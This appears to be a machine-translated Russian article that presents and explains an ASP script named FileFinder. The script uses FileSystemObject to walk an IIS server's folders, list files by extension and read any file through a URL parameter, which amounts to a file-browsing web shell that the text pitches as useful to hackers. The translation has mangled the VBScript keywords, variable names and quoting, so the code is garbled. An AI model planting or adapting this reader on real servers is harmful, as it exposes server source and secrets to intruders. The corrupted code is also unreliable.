Объект Scripting.FilesyStemObject является одним из многих объектов COM, предоставленных Scrrun.dll для управления VBScript/JScript. Scripting.filesystemobject предоставляет очень удобный доступ к текстовым файлам и файловым каталогам, но также представляет определенные угрозы для безопасности данных веб -сервера IIS.
Код FileFinder очень прост, состоящий из 3 функций и 30 строк последовательного кода.
Наиболее важным является функция FindFiles, которая реализует обход определенного каталога, вызывая его рекурсивно и ищет эти файлы в соответствии с конкретным расширением файла.
Функция FindFiles (StrstartFolder, Strext)
тусклый
Dim Ohisfolder
Dim Offorders
Dim Ofile
Dim Oferder
Dim Ofile
'Если системный администратор тщательно установит разрешения файловой системы, следующий код допустит ошибку
«Но некоторые каталоги все еще можно просмотреть, поэтому мы просто игнорируем ошибки
при ошибке резюме следующим
n = 0
Ответ.
Установите это sifsolder = g_fs.getfolder (strstartfolder)
набор OFILES = allisfolder.files
Для каждого из иле в Ofiles
'Если это указанное расширение файла, выведите само руководство по подключению, но используйте другую команду CMD
'Вот cmd = Read, то есть прочитать текстовый файл с указанным физическим путем
Если Issuffix (ofile.path, strext) тогда
response.write <a target = _blank href = 'ff.asp? cmd = read & path = & server.htmlencode (ofile.path) &'> <font color = 'dodgerblue'> & ofile.path & </font> </a> <br> <br>
Если err = 0, тогда
n = n + 1
конец, если
конец, если
следующий
набор OFLODERS = SOMISFOLDER.SUBFOLDERS
Для каждого из старших в старших
n = n + findfiles (ofolder.path, strext)
следующий
findfiles = n
конечная функция
Следующий код анализирует параметры после URL:
'Прочитайте значения каждого параметра
strcmd = ucase (request.querystring (cmd))
strpath = request.querystring (path)
strext = request.querystring (ext)
brawdata = usace (request.querystring (raw))
'Поиск по умолчанию.
Если strpath = то
Strpath =.
конец, если
Если strext = то
strext = .asp
конец, если
'Выполнить разные коды в соответствии с разными командными cmd
Выберите Case Strcmd
случай
response.write findfiles (strpath, strext) и найденные файлы (ы)
Дело прочтение
Если brawdata = t, тогда
response.write readtextfile (strpath)
еще
response.write <pre> & server.htmlencode (readtextfile (strpath)) и </pre>
конец, если
случай еще
response.write <h3> Укажите команду для выполнения </h3>
конец выбора
Из приведенного выше анализа мы видим, что если у нас есть достаточные разрешения, мы можем использовать FileFinder, чтобы найти любой текстовый файл на веб -сервере IIS, и мы можем легко просматривать содержимое файла. Для не текстовых файлов можно определить, существуют ли они и где они находятся, что иногда чрезвычайно важно для продвинутых хакеров.